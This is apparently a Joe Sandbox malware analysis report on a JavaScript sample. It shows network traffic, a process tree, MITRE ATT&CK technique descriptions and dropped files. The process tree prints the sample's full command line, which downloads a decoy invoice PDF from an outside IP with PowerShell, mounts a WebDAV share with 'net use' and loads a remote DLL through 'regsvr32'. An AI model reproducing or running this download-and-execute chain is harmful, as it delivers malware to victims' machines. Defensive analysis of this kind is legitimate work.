Jan 15, 2025 08:11:14.972493887 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 15, 2025 08:11:14.972534895 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 15, 2025 08:11:14.977736950 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	4280	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:11:16.555906057 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 15, 2025 08:11:17.373836994 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 07:11:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:11:11
Start date:	15/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js"
Imagebase:	0x7ff70f110000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:11:11
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll
Imagebase:	0x7ff7fa820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:11:11
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:11:11
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:11:15
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:11:15
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7fa820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:11:15
Start date:	15/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7497c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:11:16
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:11:16
Start date:	15/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:11:17
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1744,i,261901375073737504,10068128967198014578,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 14957144702878221204.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fbdbd06d-39aa-4654-925d-a2fdcad67968.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6224

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
14957144702878221204.js